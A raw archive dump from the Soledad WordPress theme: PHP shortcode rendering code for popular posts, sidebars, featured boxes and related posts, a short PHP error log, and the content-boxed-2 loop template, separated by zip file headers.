				'penci_featimg_size'    => '',
				'penci_featimg_ratio'   => '',
				'thumb_size'            => '',
				'show_navs'             => '',
				'hide_dots'             => '',

				'ptitle_color'    => '',
				'ptitle_hcolor'   => '',
				'ptitle_fsize'    => '',
				'use_ptitle_typo' => '',
				'ptitle_typo'     => '',
				'pmeta_color'     => '',
				'pmeta_hcolor'    => '',
				'pmeta_fsize'     => '',
				'use_pmeta_typo'  => '',
				'pmeta_typo'      => '',
				'_dot_color'      => '',
				'dot_hcolor'      => '',
			), $atts, 'popular_posts' );

			extract( $atts );

			$return = '';

			$_title_length = $_title_length ? $_title_length : 10;
			if ( $heading ): $title = $heading; endif;

			if ( ! isset( $columns ) || ! is_numeric( $columns ) ): $columns = '4'; endif;

			if ( $atts['elementor_query'] ) {
				$query_args = $atts['elementor_query'];
			} elseif ( $atts['build_query'] ) {
				$query_args = penci_build_args_query( $atts['build_query'] );
			} else {
				if ( ! isset( $number ) || ! is_numeric( $number ) ): $number = '12'; endif;

				$query_args = array(
					'posts_per_page' => $number,
					'post_type'      => 'post',
					'meta_key'       => penci_get_postviews_key(),
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC'
				);

				if ( $type == 'week' ) {
					$query_args = array(
						'posts_per_page' => $number,
						'post_type'      => 'post',
						'meta_key'       => 'penci_post_week_views_count',
						'orderby'        => 'meta_value_num',
						'order'          => 'DESC'
					);
				} elseif ( $type == 'month' ) {
					$query_args = array(
						'posts_per_page' => $number,
						'post_type'      => 'post',
						'meta_key'       => 'penci_post_month_views_count',
						'orderby'        => 'meta_value_num',
						'order'          => 'DESC'
					);
				} elseif ( $type == 'jetpack' ) {
					$query_args = array(
						'posts_per_page' => $number,
						'post_type'      => 'post',
						'meta_key'       => '_jetpack_post_view',
						'orderby'        => 'meta_value_num',
						'order'          => 'DESC'
					);
				}

				if ( $category ) {
					$query_args['category_name'] = $category;
				}
			}

			$popular = new WP_Query( $query_args );

			if ( ! $popular->have_posts() ) {
				return self::show_missing_settings( 'Popular Posts', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
			}
			$popular_title_length = $_title_length ? $_title_length : 10;
			$data_loop            = '';
			$number_posts_display = $popular->post_count;
			if ( ( $columns == '4' && $number_posts_display < 5 ) || ( $columns == '3' && $number_posts_display < 4 ) ):
				$data_loop = ' data-loop="false"';
			endif;

			$heading_title_style = '';
			$heading_align       = '';

			if ( $atts['heading_title_style'] ) {
				$heading_title_style = $atts['heading_title_style'];
			}

			$sb_icon_pos         = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
			$heading_icon_pos    = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
			$sb_icon_design      = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
			$heading_icon_design = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;

			if ( $atts['heading_icon_pos'] ) {
				$heading_icon_pos = $atts['heading_icon_pos'];
			}

			if ( $atts['heading_icon'] ) {
				$heading_icon_design = $atts['heading_icon'];
			}

			$data_nav  = ( $atts['show_navs'] ) ? 'true' : 'false';
			$data_dots = ( $atts['hide_dots'] ) ? 'false' : 'true';

			if ( $atts['heading_title_align'] ) {
				$heading_align = $atts['heading_title_align'];
			}
			$block_id = '';
			if ( class_exists( 'Penci_Vc_Helper' ) ) {
				$block_id = Penci_Vc_Helper::get_unique_id_block( 'popular_posts' );
			}

			$thumbsize = penci_featured_images_size();
			if ( 'horizontal' == $penci_featimg_size ) {
				$thumbsize = 'penci-thumb';
			} else if ( 'square' == $penci_featimg_size ) {
				$thumbsize = 'penci-thumb-square';
			} else if ( 'vertical' == $penci_featimg_size ) {
				$thumbsize = 'penci-thumb-vertical';
			} else if ( 'custom' == $penci_featimg_size ) {
				if ( $thumb_size ) {
					$thumbsize = $thumb_size;
				}
			}

			$heading_class = $atts['hide_block_heading'] ? ' hide-heading' : '';
			$htag = $atts['heading_title_html_tag'] ? $atts['heading_title_html_tag'] : 'h3';
			ob_start();
			?>
            <div id="<?php echo esc_attr( $block_id ); ?>" class="penci-popular-posts-sc<?php echo $heading_class;?>">
                <div class="penci-home-popular-posts<?php echo( ! $heading_title_style ? ' use-heading-default' : '' ); ?>">
					<?php if ( $title && ! $atts['hide_block_heading'] ) { ?>
						<?php if ( ! $heading_title_style ) { ?>
                            <h2 class="home-pupular-posts-title <?php echo sanitize_text_field( $heading_align ); ?>">
								<?php
								echo( $atts['heading_title_link'] ? '<a href="' . esc_url( $atts['heading_title_link'] ) . '">' : '<span>' );
								echo do_shortcode( $title );
								echo( $atts['heading_title_link'] ? '</a>' : '</span>' );
								?>
                            </h2>
						<?php } else { ?>
                            <div class="penci-border-arrow penci-homepage-title penci-magazine-title <?php echo esc_attr( $heading_title_style . ' ' . $heading_align . ' ' . $heading_icon_pos . ' ' . $heading_icon_design ); ?>">
                                <<?php echo $htag;?> class="inner-arrow">
									<?php
									if ( $atts['heading_title_link'] ) {
										echo '<a href="' . esc_url( $atts['heading_title_link'] ) . '">';
									} else {
										echo '<span>';
									}
									echo do_shortcode( $title );
									if ( $atts['heading_title_link'] ) {
										echo '</a>';
									} else {
										echo '</span>';
									}
									?>
                                </<?php echo $htag;?>>
                            </div>
						<?php } ?>
					<?php } ?>

                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-related-carousel penci-home-popular-post"<?php echo $data_loop; ?>
                         data-lazy="true" data-item="<?php echo $columns; ?>" data-desktop="<?php echo $columns; ?>"
                         data-tablet="3" data-tabsmall="2" data-auto="false" data-speed="300"
                         data-dots="<?php echo $data_dots; ?>" data-nav="<?php echo $data_nav; ?>">
                        <div class="swiper-wrapper">
							<?php while ( $popular->have_posts() ) : $popular->the_post(); ?>
                                <div class="item-related swiper-slide">
                                    <div class="item-related-inner">
										<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
											<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>

                                            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbsize ) ); ?>
                                                    class="<?php echo penci_layout_bg_class(); ?> related-thumb penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                                    href="<?php the_permalink() ?>"
                                                    title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">

												<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbsize ), get_the_title() ); ?>

												<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_enable_home_popular_icons' ) ): ?>
													<?php if ( has_post_format( 'video' ) ) : ?>
														<?php penci_fawesome_icon( 'fas fa-play' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'audio' ) ) : ?>
														<?php penci_fawesome_icon( 'fas fa-music' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'link' ) ) : ?>
														<?php penci_fawesome_icon( 'fas fa-link' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'quote' ) ) : ?>
														<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'gallery' ) ) : ?>
														<?php penci_fawesome_icon( 'far fa-image' ); ?>
													<?php endif; ?>
												<?php endif; ?>
                                            </a>
										<?php endif; ?>

                                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                               href="<?php the_permalink(); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $popular_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( ! get_theme_mod( 'penci_hide_date_home_popular' ) ) : ?>
                                            <span class="date"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
                                    </div>
                                </div>
							<?php
							endwhile;
							?>
                        </div>
                    </div>
                </div>
            </div><!-- penci-popular_posts-sc -->
			<?php
			$return = ob_get_clean();
			wp_reset_postdata();

			if ( $block_id && class_exists( 'Penci_Custom_CSS_Shortcode_Old' ) ) {
				$return .= Penci_Custom_CSS_Shortcode_Old::popular_posts( $block_id, $atts );
			}

			return $return;
		}


		/**
		 * Retrieve HTML markup for sidebar element
		 *
		 * @param array $atts
		 * @param string $content
		 *
		 * @return string
		 */
		public static function soledad_sidebar( $atts, $content = null ) {
			extract( shortcode_atts( array(
				'sidebar'  => 'main-sidebar',
				'style'    => '',
				'layout'   => '',
				'icon_pos' => '',
				'icon'     => '',
				'align'    => ''
			), $atts ) );

			$heading_title       = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
			$heading_align       = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
			$sidebar_style       = get_theme_mod( 'penci_sidebar_style' ) ? get_theme_mod( 'penci_sidebar_style' ) : '';
			$sidebar_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
			$sidebar_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

			if ( ! isset( $sidebar ) ): $sidebar = 'main-sidebar'; endif;
			if ( ! isset( $layout ) || ! $layout ): $layout = $sidebar_style; endif;
			if ( ! isset( $style ) || ! $style ): $style = $heading_title; endif;
			if ( ! isset( $icon_pos ) || ! $icon_pos ): $icon_pos = $sidebar_icon_pos; endif;
			if ( ! isset( $icon ) || ! $icon ): $icon = $sidebar_icon_design; endif;
			if ( ! in_array( $align, array(
				'pcalign-center',
				'pcalign-left',
				'pcalign-right'
			) ) ): $align = $heading_align; endif;

			ob_start();
			?>

            <div id="sidebar"
                 class="penci-sidebar-content penci-sidebar-content-vc <?php echo esc_attr( $style . ' ' . $align . ' ' . $layout . ' ' . $icon_pos . ' ' . $icon ); ?>">
                <div class="theiaStickySidebar">
					<?php
					if ( is_active_sidebar( $sidebar ) ) {
						dynamic_sidebar( $sidebar );
					} else {
						dynamic_sidebar( 'main-sidebar' );
					}
					?>
                </div>
            </div>

			<?php
			$return = ob_get_clean();

			return $return;
		}

		/**
		 * Retrieve HTML markup for featured boxes - like homepage featured boxes
		 *
		 * @param array $atts
		 * @param string $content
		 *
		 * @return string
		 */
		public static function soledad_featured_boxes( $atts, $content = null ) {
			$atts = shortcode_atts( array(
				'style'         => 'boxes-style-1',
				'columns'       => 'boxes-3-columns',
				'size'          => 'horizontal',
				'margin_top'    => '0',
				'margin_bottom' => '0',
				'boxes_data'    => '',
				'new_tab'       => 'no',

				'img_box_border_color' => '',
				'img_box_text_color'   => '',
				'img_box_text_hcolor'  => '',
				'img_box_fsize'        => '',
				'use_img_box_typo'     => '',
				'img_box_typo'         => '',
				''
			), $atts );

			extract( $atts );

			if ( ! function_exists( 'vc_param_group_parse_atts' ) ) {
				return;
			}

			if ( empty( $atts['boxes_data'] ) ) {
				return;
			}

			$featured_boxes = (array) vc_param_group_parse_atts( $atts['boxes_data'] );

			if ( empty( $featured_boxes ) ) {
				return;
			}

			if ( ! isset( $style ) ): $style = 'boxes-style-1'; endif;
			if ( ! isset( $columns ) ): $columns = 'boxes-3-columns'; endif;
			if ( ! isset( $size ) ): $size = 'horizontal'; endif;
			if ( ! isset( $new_tab ) ): $new_tab = 'no'; endif;
			if ( ! is_numeric( $margin_top ) ): $margin_top = '0'; endif;
			if ( ! is_numeric( $margin_bottom ) ): $margin_bottom = '0'; endif;
			$style_css   = ' style="margin-top: ' . $margin_top . 'px; margin-bottom: ' . $margin_bottom . 'px;"';
			$weight_text = get_theme_mod( 'penci_home_box_weight' ) ? get_theme_mod( 'penci_home_box_weight' ) : 'normal';
			$thumb       = 'penci-thumb';
			if ( $size == 'square' ) {
				$thumb = 'penci-thumb-square';
			} elseif ( $size == 'vertical' ) {
				$thumb = 'penci-thumb-vertical';
			}

			$block_id = '';
			if ( class_exists( 'Penci_Vc_Helper' ) ) {
				$block_id = Penci_Vc_Helper::get_unique_id_block( 'featured_boxes' );
			}

			ob_start();
			?>
            <div id="<?php echo esc_attr( $block_id ); ?>"
                 class="container home-featured-boxes home-featured-boxes-sc home-featured-boxes-vc boxes-weight-<?php echo $weight_text; ?> boxes-size-<?php echo $size; ?>"<?php echo $style_css; ?>>
                <ul class="homepage-featured-boxes <?php echo $columns; ?>">
					<?php
					foreach ( $featured_boxes as $item ) {
						if ( isset( $item['image'] ) ):
							$homepage_box_image = wp_get_attachment_url( $item['image'] );
							$homepage_box_text = isset( $item['text'] ) ? $item['text'] : '';
							$homepage_box_url = isset( $item['url'] ) ? $item['url'] : '';

							$open_url  = '';
							$close_url = '';
							$target    = '';
							if ( 'yes' == $new_tab ):
								$target = ' target="_blank"';
							endif;
							if ( $homepage_box_url ) {
								$open_url  = '<a href="' . do_shortcode( $homepage_box_url ) . '"' . $target . '>';
								$close_url = '</a>';
							}
							?>
                            <li class="penci-featured-ct">
								<?php echo wp_kses( $open_url, penci_allow_html() ); ?>
                                <div class="penci-fea-in <?php echo $style; ?>">

                                    <div <?php echo penci_layout_bg( penci_get_image_size_url( $homepage_box_image, $thumb ) ); ?>
                                            class="<?php echo penci_layout_bg_class(); ?> fea-box-img penci-image-holder penci-holder-load">
										<?php echo penci_layout_img( penci_get_image_size_url( $homepage_box_image, $thumb ) ); ?>
                                    </div>


									<?php if ( $homepage_box_text ): ?>
                                        <h4><span class="boxes-text"><span
                                                        style="font-weight: <?php echo $weight_text; ?>"><?php echo do_shortcode( $homepage_box_text ); ?></span></span>
                                        </h4>
									<?php endif; ?>
                                </div>
								<?php echo wp_kses( $close_url, penci_allow_html() ); ?>
                            </li>
						<?php
						endif;
					}
					?>
                </ul>
            </div>

			<?php
			$return = ob_get_clean();

			if ( $block_id && class_exists( 'Penci_Custom_CSS_Shortcode_Old' ) ) {
				$return .= Penci_Custom_CSS_Shortcode_Old::featured_boxes( $block_id, $atts );
			}

			return $return;
		}

		/**
		 * Retrieve HTML markup for inline-related posts shortcodes
		 *
		 * @param array $atts
		 * @param string $content
		 *
		 * @return string
		 */
		public static function inline_related_posts( $atts, $content = null ) {
			if ( ! is_singular() ) {
				return;
			}
			$atts = shortcode_atts( array(
				'style'        => 'list',
				'title'        => 'You Might Be Interested In',
				'title_align'  => 'left',
				'number'       => 6,
				'align'        => 'none',
				'ids'          => '',
				'by'           => 'categories',
				'order'        => 'DESC',
				'orderby'      => 'rand',
				'hide_thumb'   => 'no',
				'thumb_right'  => 'no',
				'date'         => 'yes',
				'views'        => 'no',
				'grid_columns' => '2',
				'post_type'    => '',
				'tax'          => ''
			), $atts );

			extract( $atts );
			$args = array();
			if ( $post_type != 'post' && $post_type && is_singular( $post_type ) ) {
				$post_id = get_the_ID();
				$args    = array(
					'post_type'           => $post_type,
					'ignore_sticky_posts' => 1,
					'posts_per_page'      => $number,
					'post__not_in'        => array( $post_id ),
					'orderby'             => $orderby,
					'order'               => $order
				);
				if ( $tax ) {
					$_terms = get_the_terms( get_the_ID(), $tax );
					if ( $_terms && ! is_wp_error( $_terms ) ) {
						$id_terms = array();
						foreach ( $_terms as $_term ) {
							$id_terms[] = $_term->term_id;
						}

						if ( $id_terms ) {
							$args['tax_query'] = array(
								array(
									'taxonomy' => $tax,
									'field'    => 'term_id',
									'terms'    => $id_terms
								),
							);
						}
					}
				}
			} else if ( $ids ) {
				$ids_trim  = str_replace( ' ', '', $ids );
				$ids_array = explode( ',', $ids_trim );
				$args      = array(
					'post__in'     => $ids_array,
					'post__not_in' => get_the_ID(),
					'order'        => $order
				);
			} else {
				$args = penci_get_query_related_posts( get_the_ID(), $by, $order, $orderby, $number );
			}

			if ( ! empty( $args ) ) {
				$query = new wp_query( $args );
				if ( $query->have_posts() ) {
					$align        = $align ? $align : 'none';
					$title_align  = $title_align ? $title_align : 'left';
					$grid_columns = in_array( $grid_columns, array( '1', '2', '3' ) ) ? $grid_columns : '2';
					if ( 'left' == $align || 'right' == $align ) {
						$grid_columns = '1';
					}
					$wrapper_class = 'penci-ilrelated-posts';
					$style         = in_array( $style, array( 'list', 'grid' ) ) ? $style : 'list';
					$wrapper_class .= ' pcilrt-' . $style . ' pcilrt-' . $align . ' pcilrt-col-' . $grid_columns;
					if ( 'yes' == $thumb_right ) {
						$wrapper_class .= ' pcilrt-thumbright';
					}

					ob_start();
					?>
                    <div class="<?php echo $wrapper_class; ?>">
						<?php if ( $title ) { ?>
                            <div class="pcilrp-heading pcilrph-align-<?php echo $title_align; ?>">
                                <span><?php echo do_shortcode( $title ); ?></span></div>
						<?php } ?>
                        <ul class="pcilrp-content">
							<?php while ( $query->have_posts() ) : $query->the_post(); ?>
                                <li class="pcilrp-item pcilrp-item-<?php echo $style; ?><?php if ( 'yes' == $hide_thumb ): echo ' pcilrp-item-hidethumb'; endif; ?>">
									<?php if ( 'list' == $style ) { ?>
                                        <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
									<?php } else { ?>
                                        <div class="pcilrp-flex">
											<?php if ( 'yes' != $hide_thumb ): ?>
                                                <div class="pcilrp-thumb">

                                                    <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                                                            class="<?php echo penci_layout_bg_class(); ?> penci-image-holder"
                                                            href="<?php the_permalink(); ?>"
                                                            title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
														<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), get_the_title(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                                                    </a>

                                                </div>
											<?php endif; ?>
                                            <div class="pcilrp-body">
                                                <div class="pcilrp-title">
                                                    <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                                </div>
												<?php if ( 'yes' == $date || 'yes' == $views ): ?>
                                                    <div class="pcilrp-meta">
														<?php if ( 'yes' == $date ) { ?>
                                                            <span class="pcilrp-date"><?php penci_fawesome_icon( 'far fa-clock' ) . penci_soledad_time_link(); ?></span>
														<?php } ?>
														<?php if ( 'yes' == $views ) {
															echo '<span class="pcilrp-views">';
															penci_fawesome_icon( 'far fa-eye' );
															echo penci_get_post_views( get_the_ID() );
															echo '</span>';
														} ?>
                                                    </div>
												<?php endif; ?>
                                            </div>
                                        </div>
									<?php } ?>
                                </li>
							<?php endwhile; ?>
                        </ul>
                    </div>

					<?php
					$return = ob_get_clean();
					wp_reset_postdata();

					return $return;
				}
				wp_reset_postdata();
			}
		}

		public static function show_missing_settings( $label, $mess ) {
			$output = '';
			if ( current_user_can( 'manage_options' ) ) {
				$output .= '<div class="penci-missing-settings">';
				$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
				$output .= '<span>' . $label . '</span>';
				$output .= $mess;
				$output .= '</div>';
			}

			return $output;
		}

		public static function get_block_script( $unique_id, $atts, $echo = true ) {
			$atts['category_ids'] = '';
			$atts['taxonomy']     = '';

			if ( isset( $atts['title'] ) ) {
				unset( $atts['title'] );
			}

			if ( isset( $atts['elementor_query'] ) ) {
				unset( $atts['elementor_query'] );
			}
			
			if ( isset( $atts['build_query'] ) ) {
				unset( $atts['build_query'] );
			}

			$output = '<script>';

			$output .= 'if( typeof(penciBlock) === "undefined" ) {';
			$output .= "function penciBlock() { this.atts_json = ''; this.content = ''; }";
			$output .= '}';
			$output .= 'var penciBlocksArray = penciBlocksArray || [];';
			$output .= 'var PENCILOCALCACHE = PENCILOCALCACHE || {};';
			$output .= 'var ' . $unique_id . ' = new penciBlock();';
			$output .= $unique_id . '.blockID="' . $unique_id . '";';
			$output .= $unique_id . ".atts_json = '" . json_encode( $atts ) . "';";
			$output .= "penciBlocksArray.push(" . $unique_id . ");";
			$output .= '</script>';

			if ( $echo ) {
				echo $output;
			} else {
				return $output;
			}

		}

	}

	Soledad_VC_Shortcodes::init();
}

if ( ! class_exists( 'Penci_Custom_Sidebar' ) ) {
	die();
}
PK     N\=LA?  ?  	  error_lognu [        [20-Dec-2025 10:39:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /home/samtqkvg/public_html/wp-content/themes/soledad/index.php:11
Stack trace:
#0 {main}
  thrown in /home/samtqkvg/public_html/wp-content/themes/soledad/index.php on line 11
[20-Dec-2025 10:41:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /home/samtqkvg/public_html/wp-content/themes/soledad/index.php:11
Stack trace:
#0 {main}
  thrown in /home/samtqkvg/public_html/wp-content/themes/soledad/index.php on line 11
[15-Feb-2026 10:21:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /home/samtqkvg/public_html/wp-content/themes/soledad/404.php:8
Stack trace:
#0 {main}
  thrown in /home/samtqkvg/public_html/wp-content/themes/soledad/404.php on line 8
PK     N\Dƽ5U&  U&    content-boxed-2.phpnu [        <?php
/**
 * Template loop for list boxed style 2
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
?>
<?php
if ( ! isset ( $x ) ) {
	$x = 1;
} else {
	$x = $x;
}

$category_oj  = get_queried_object();
$fea_cat_id   = isset( $category_oj->term_id ) ? $category_oj->term_id : '';
$cat_meta     = get_option( "category_$fea_cat_id" );
$sidebar_opts = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
$show_sidebar = false;

if ( ( penci_get_setting( 'penci_sidebar_archive' ) && $sidebar_opts != 'no' ) || $sidebar_opts == 'left' || $sidebar_opts == 'right' ) {
	$show_sidebar = true;
}

if ( is_home() ) {
	$show_sidebar = penci_get_setting( 'penci_sidebar_home' );
}
$display_val = true;
if ( ( $show_sidebar && ( $x % 2 == 0 ) ) || ( ! $show_sidebar && ( $x % 3 == 2 ) ) ) {
	$display_val = false;
}
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="list-boxed-post-2<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
        <div class="content-boxed-2 show-top<?php if ( ! has_post_thumbnail() ) : echo ' boxed-fullwidth-2'; endif; ?><?php if ( $display_val ): echo ' boxed-none'; endif; ?>">
            <div class="inner-parent-boxed-2">
                <div class="inner-boxed-2">
					<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>

                    <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                                href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>

					<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
							<?php do_action( 'penci_grid_meta' ); ?>
							<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                                <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
										penci_coauthors_posts_links();
									else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
									<?php endif; ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                                <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                                <span class="otherl-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( get_theme_mod( 'penci_grid_countviews' ) ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail<?php if ( $display_val ) {
				echo ' arrow-bottom';
			} else {
				echo ' arrow-top';
			} ?>">
				<?php
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                    <a <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), penci_featured_images_size() ));?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                        <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), penci_featured_images_size() ),get_the_title());?>
                    </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-boxed-2 show-bottom<?php if ( ! has_post_thumbnail() ) : echo ' boxed-fullwidth-2'; endif; ?><?php if ( ! $display_val ) : echo ' boxed-none'; endif; ?>">
            <div class="inner-parent-boxed-2">
                <div class="inner-boxed-2">
					<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>

                    <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                                href="<?php the_permalink(); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 10, '...' ); ?></a>
                    </<?php echo $heading_title_tag;?>>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php penci_soledad_meta_schema(); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
							<?php do_action( 'penci_grid_meta' ); ?>
							<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                                <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
										penci_coauthors_posts_links();
									else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
									<?php endif; ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                                <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                                <span class="otherl-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( get_theme_mod( 'penci_grid_countviews' ) ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </article>
</li>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-boxed-post-2 penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>

<?php $j ++; ?>

<?php $x ++; ?>
PK     N\YA/t    
